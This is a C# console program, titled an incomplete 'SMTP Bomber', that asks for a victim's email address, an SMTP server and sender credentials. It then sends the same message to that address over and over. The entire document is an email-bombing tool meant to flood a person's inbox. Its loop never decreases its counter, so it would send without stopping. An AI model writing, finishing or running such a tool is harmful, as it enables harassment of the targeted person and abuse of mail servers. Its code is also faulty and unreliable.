Incompete C# SMTP Bomber

using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Mail;
using System.Text;
using System.Threading.Tasks;

namespace SpamsFist
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                Console.WriteLine("Enter a victims email");
                string victim = Console.ReadLine();
                Console.WriteLine("Enter an smtp server:");
                string server = Console.ReadLine();
                Console.WriteLine("Enter a smtp port:");
                string port = Console.ReadLine();
                Console.WriteLine("Enter spam email:");
                string user = Console.ReadLine();
                Console.WriteLine("Enter emails password:");
                string pass = Console.ReadLine();
                Console.WriteLine("Enter a Subect:");
                string subject = Console.ReadLine();
                Console.WriteLine("Enter a message:");
                string message = Console.ReadLine();
                Console.WriteLine("Enter how much spam to send:");
                string spam = Console.ReadLine();
                int smtpport = Convert.ToInt32(port);
                int spamvar = Convert.ToInt32(spam);
                while (spamvar > 0)
                {
                    SmtpClient smtpClient = new SmtpClient();
                    smtpClient.UseDefaultCredentials = false;
                    smtpClient.Host = server;
                    smtpClient.Port = smtpport;
                    smtpClient.Credentials = new System.Net.NetworkCredential(user, pass);
                    smtpClient.EnableSsl = true;
                    MailMessage smtpmessage = new MailMessage();
                    smtpmessage.To.Add(victim);
                    smtpmessage.Subject = subject;
                    smtpmessage.From = new MailAddress(user);
                    smtpmessage.Body = message;
                    smtpClient.Send(smtpmessage);
                    Console.WriteLine("Sent {0}", spamvar);
                }
            }
            catch (Exception)
            {

                throw;
            }
        }
    }
}